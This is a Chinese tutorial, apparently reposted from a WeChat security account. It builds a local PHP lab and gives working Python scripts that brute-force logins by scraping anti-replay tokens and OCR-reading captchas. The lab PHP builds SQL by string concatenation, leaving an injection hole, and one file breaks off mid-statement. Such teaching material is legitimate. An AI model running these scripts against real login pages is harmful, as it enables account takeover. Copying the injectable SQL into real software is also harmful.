python的反反暴力破解
走过路过,不要错过这个公众号哦!
本文转自公众号:信安之路本文适合刚刚学完 python,光听别人说强大,但是自己没有直观感受过的人。介绍两种防暴力破解的方法,以及用 py 的绕过方法。(暂不考虑 sql 注入,不谈机器学习。)
虽然繁琐的认证不一定意味着安全,但是方便省事的认证往往意味着不安全。
暴力破解漏洞是广泛存在的,危害较大的漏洞。虽然利用该漏洞需要付出的时间成本可能难以接受,但是如果结合社会工程学,完全可能将不能接受的时间降到可接受的范围,所以其危害不容小觑。
环境要求
系统:
kali linux
软件版本:
php7
mysql5.6
python3
搭建步骤:
1、首先数据库导入 data.sql,这是所有的测试数据。
CREATE DATABASE test_data;
USE test_data;
CREATE TABLE `users` (
`id` INT(10) UNSIGNED AUTO_INCREMENT,
`username` VARCHAR(40) NOT NULL,
`password` VARCHAR(64) NOT NULL,
PRIMARY KEY (`id`)
)ENGINE=InnoDB DEFAULT CHARSET=utf8;
INSERT INTO `users` (username, password) VALUES ('admin',password('admin'));
INSERT INTO `users` (username, password) VALUES ('jack',password('password'));
2、搭建被测试的网页用 Phpstudy 即可,把所有 php 文件放入网站根路径,确保能够正常访问。或者直接在 kali 里,比较方便,直接把这几个脚本放一块,然后在当前路径执行 php -S 127.0.0.1:80
,就完事了。Py 脚本可以随意,只要执行起来方便就行。
3、php 生成验证码需要安装 gd 扩展,python3 验证码识别,需要安装 tesseract-ocr。
4、Code.php 是生成二维码用的。
代码都做了注释,有兴趣可以看一看。
form.php
简简单单的一个带token的表单。
<?php
session_start();//开启session
//生成token的函数
function token(){
$rand=rand();//生成一个随机数
$times=time();//获取当前时间戳
//echo $rand.'<br>';
//echo $times.'<br>';
$token=md5($rand+$times);//取两者之和的md5
$_SESSION['token']=$token;//将token放在session里,这样可以防止客户端伪造token
return $token;
}
?>
<html>
<head>
<meta charset="UTF-8">
</head>
<body>
<form action="burteforce2.1.php" method="post">
<input type="text" name="username">
<input type="password" name="password">
<input type="hidden" name="token" value="<?php echo token(); ?>"><!--输出token的值隐藏在表单里,在用户提交表单的时候会一并提交-->
<input type="submit" value="submit">
</form>
</body>
</html>
form.php
简简单单的又一个表单。
<html>
<head>
<meta charset="UTF-8">
</head>
<body>
<form action="bruteforce2.2.php" method="post">
<input type="text" name="username">
<input type="password" name="password">
<input type="text" name="code">
<img src="code.php">
<input type="submit" value="submit">
</form>
</body>
burteforce2.1.php
处理带 token 的登录请求的脚本
<?php
session_start();
//建立数据库连接,不做多做解释
$host='localhost';
$port=3306;
$user='root';
$pass='';
$db='test_data';
$conn=new mysqli($host,$user,$pass,$db,$port);
if ($conn->connect_error){
die('数据库连接失败');
}else{
$conn->query('SET NAMES utf-8;');
}
//global $token;
//
//
//if (!isset($_SESSION['token'])){
// $token=token();
// $_SESSION['token']=$token;
//}
//检测POST过来的数据是否是完整的
if (isset($_POST['username']) and isset($_POST['password']) and isset($_POST['token'])){
//生成的token放在session里
if ($_POST['token']!=$_SESSION['token']){
//如果客户端提交上来的token和session里的token不同的话,删除token,直接停止脚本执行
unset($_SESSION['token']);
die("非法请求!!!");
}
$username=$_POST['username'];
$password=$_POST['password'];
$sql="SELECT * FROM `users` WHERE `username`='".$username."' AND `password`=password('".$password."');";
$result=$conn->query($sql);
echo $conn->error;
//如果数据为0行,那么证明没有查到数据,数据库不存在该账户和密码的组合
if ($result->num_rows==0){
echo "登录失败!";
}
//如果查到了,就把查到的信息都打印出来
foreach ($result as $row) {
echo $row['id']."<br>";
echo $row['username'];
}
//删除token,防止爆破token
unset($_SESSION['token']);
}
?>
burteforce2.2.php
处理带验证码的登录请求的脚本
<?php
session_start();
//建立数据库连接,这个不用多做解释
$host='localhost';
$port=3306;
$user='root';
$pass='';
$db='test_data';
$conn=new mysqli($host,$user,$pass,$db,$port);
if ($conn->connect_error){
die('数据库连接失败');
}else{
$conn->query('SET NAMES utf-8;');
}
//检测提交过来的数据是否完整
if (isset($_POST['username']) and isset($_POST['password']) and isset($_POST['code'])){
//提交过来的验证码是否和服务器session里保存的验证码一致
if ($_POST['code']!=$_SESSION['code']){
die("非法请求!!!");
}
//接下来跟上一个一样
$username=$_POST['username'];
$password=$_POST['password'];
$sql="SELECT * FROM `users` WHERE `username`='".$username."' AND `password`=password('".$password."');";
$result=$conn->query($sql);
echo $conn->error;
if ($result->num_rows==0){
echo "登录失败!";
}
foreach ($result as $row) {
echo
Code.php
生成二维码的脚本
<?php
//这个脚本不用太了解
//header('Content_Type:text/html;charset=utf-8');
//开启session,整个验证基于session
session_start();
//生成验证码图片,设置包头告诉浏览器这是个图片
Header("Content-type: image/PNG");
//创建一个基于调色板的图像
$im = imagecreate(44, 18);
//给生成的图像
$back = ImageColorAllocate($im, 245, 245, 245);
//背景
imagefill($im, 0, 0, $back);
//生成四位的随机数字
srand((double)microtime() * 1000000);
//定义一个变量来存储生产的验证码
global $vcodes;
for ($i = 0; $i < 4; $i++) {
$font = ImageColorAllocate($im, rand(100, 255), rand(0, 100), rand(100, 255));
$authnum = rand(1, 9);
$GLOBALS['vcodes'] .= $authnum;
imagestring($im, 5, 2 + $i * 10, 1, $authnum, $font);
}
for ($i = 0; $i < 100; $i++) //加入干扰象素
{
$randcolor = ImageColorallocate($im, rand(0, 255), rand(0, 255), rand(0, 255));
imagesetpixel($im, rand(), rand(), $randcolor);
}
ImagePNG($im);
ImageDestroy($im);
$_SESSION['code'] = $GLOBALS['vcodes'];
?>
burteforce2.1.py
暴力破解带 token 的认证
#!/usr/bin/python3
# coding=utf-8
import requests #做web请求的库
from bs4 import BeautifulSoup #处理html的库
# import argparse
import threading #多线程库
import sys
#表单的url
formurl = 'http://127.0.0.1/2.1form.php'
#处理登录请求的url
loginurl = 'http://127.0.0.1/burteforce2.1.php'
#请求包头
headers = {
'User-Agent': r'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) '
r'Chrome/45.0.2454.85 Safari/537.36 115Browser/6.0.3',
'Referer': r'http://www.lagou.com/zhaopin/Python/?labelWords=label',
'Connection': 'keep-alive'
}
#代理,可用可不用,方便burpsuite抓包分析的
proxies = {
'http': 'http://127.0.0.1:8080'
}
#获取token的函数
def gettoken(page):
#将传进来的html页面传给BeautifulSoup
soup = BeautifulSoup(page, 'html.parser')
# print(soup.prettify())
#从页面中找出所有的表单输入
token = soup.find_all("input")
#返回的数组有三个元素,而由表单结构可知,第三个输入是我们要获取的token,所以取数组下标为2的元素
token = str(token[2])
#找右边的地一个引号,因为从表单结构可知,token是被双引号包裹的,又知道md5值长度是32,再根据数组”包左不包右“的性质,容易得出token值的范围
r = token.rfind('"')
l = r - 32
token = token[l:r]
return token
#尝试登录的函数
def login(username, password):
#token机制是基于session的,session是基于cookies的,所以一定要开启requests的session功能
res = requests.session()
#取得页面
page = res.get(formurl)
#获取token
token = gettoken(page.text)
#构造post的数据
data = {'username': username, 'password': password, 'token': token}
#使用同一个requests对象,在同一个session里进行登录
#使用代理
#result = res.post(loginurl, data=data, proxies=proxies)
#不使用代理
result = res.post(loginurl, data=data)
#打印出登录结果, 以及页面长度,基于长度判断的话比较好筛选结果
print(password + " -> " + result.text.strip('\n').strip('\r') + " -> " + str(len(result.text)))
#获取密码字典的文件对象
def getdict(file):
dict = []
try:
f = open(file, "r")
for p in f.readlines():
dict.append(p)
return dict
except:
print('文件异常')
#获取命令行参数
#爆破的用户名
username = sys.argv[1]
#密码字典的文件名
passfile = sys.argv[2]
# t=args.thread
# tpool=[]
file = getdict(passfile)
#遍历字典
for p in file:
#将取出的结果转换成字符串
p = str(p)
#去掉特殊符号
p = p.strip().strip('\n').strip('\r')
#多线程破解
t = threading.Thread(target=login, args=(username, p))
# tpool.append(tt)
t.start()
# 用了join会稍微慢点,但是安全,和不用多线程速度差不多,如此join多线程的意义不大。
t.join()
burteforce2.2.py
#!/usr/bin/python3
#codeing=utf-8
import requests
import sys
from PIL import Image #图片处理的库
from pytesseract import * #图片文字识别库,若要正常使用需要首先安装好tesseract-ocr,否则会报错
import os
#选择在此处开启session的原因是为了保证整个程序流程都使用同一个session
res=requests.session()
codeurl='http://127.0.0.1/code.php'
loginurl='http://127.0.0.1/bruteforce2.2.php'
headers = {
'User-Agent': r'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) '
r'Chrome/45.0.2454.85 Safari/537.36 115Browser/6.0.3',
'Referer': r'http://www.lagou.com/zhaopin/Python/?labelWords=label',
'Connection': 'keep-alive'
}
proxies = {
'http': 'http://127.0.0.1:8080'
}
#把验证码图片保存为临时文件
def getcode(res):
#res=requests.session()
res=res.get(codeurl)
f=open('tmp.png','wb').write(res.content)
#图片转文字的函数
def parsecode(image='tmp.png'):
#创建一个Image对象
im=Image.open(image)
#将图像转化为灰度图
lim=im.convert('L')
#直接识别,简单粗暴,因为此验证码太简单了。233333333
text=image_to_string(lim)
#删除临时文件
os.remove('tmp.png')
return text
#把上面两个函数整合起来了
def stringcode(res):
getcode(res)
return parsecode()
#登录的函数
def login(username, password,res):
#res = requests.session()
#将全局变量res传进去,整个流程都用一个session
#以下就都一样了
code=stringcode(res)
data = {'username': username, 'password': password, 'code': code}
#result = res.post(loginurl,data=data, proxies=proxies)
result = res.post(loginurl, data=data)
print(password + " -> " + result.text.strip('\n').strip('\r') + " -> " + str(len(result.text)))
def getdict(file):
dict = []
try:
f = open(file, "r")
for p in f.readlines():
dict.append(p)
return dict
except:
print('文件异常')
def main():
#爆破的用户名
username=sys.argv[1]
#字典文件的名字
passfile=sys.argv[2]
for p in open(passfile,'r'):
p=p.strip().strip('\n').strip('\r')
login(username,p,res)
if __name__ == '__main__':
main()
密码字典从 kali 里随便找一个。
测试:
一、随机生成 token,作为隐藏输入,藏在表单之中,每次访问都获取新的 token,妄图防御了基于数据包重放的暴力破解。然而在强大的 python 面前并没有什么卵用。
测试步骤:
把文件放到网站跟路径,运行 py 脚本
一片喜闻乐见的登录失败。但是,仔细一看,其中有条结果的页面长度与其他不同
去正常登录尝试一下,admin 是 admin 的密码
二、绕过验证码防御基于数据包重放的暴力破解攻击。纯数字,混淆力度不够,经过处理后可以被识别,或者根本不用处理即可被识别。
测试步骤和上边没有差别,就是脚本名换了换。
写在最后的话
防范暴力破解还有其他的办法,例如如果一个 IP 地址频繁失败登录就限制其访问,或者如果一个帐号频繁登录失败就锁定该帐号,除非再次激活,否则不能继续正常使用。
但是这两种办法都有弊端,前者可以用构建一个代理池的办法来绕过(本地不好演示),后者会影响用户的正常使用。所以说,采取何种办法来防御,需要权衡。
其实最好的办法是设置一个足够强的密码,一个系统无论打了多少补丁,按了多少个防火墙,它的密码如果是 1234, 那么一切都等于零。
别忘了投稿哟!!!
合天公众号开启原创投稿啦!!!
大家有好的技术原创文章。
欢迎投稿至邮箱:edu@heetian.com;
合天会根据文章的时效、新颖、文笔、实用等多方面评判给予100元-500元不等的稿费哟。
有才能的你快来投稿吧!
合天智汇
网址 : www.heetian.com
电话:4006-123-731
长按图片,据说只有颜值高的人才能识别哦→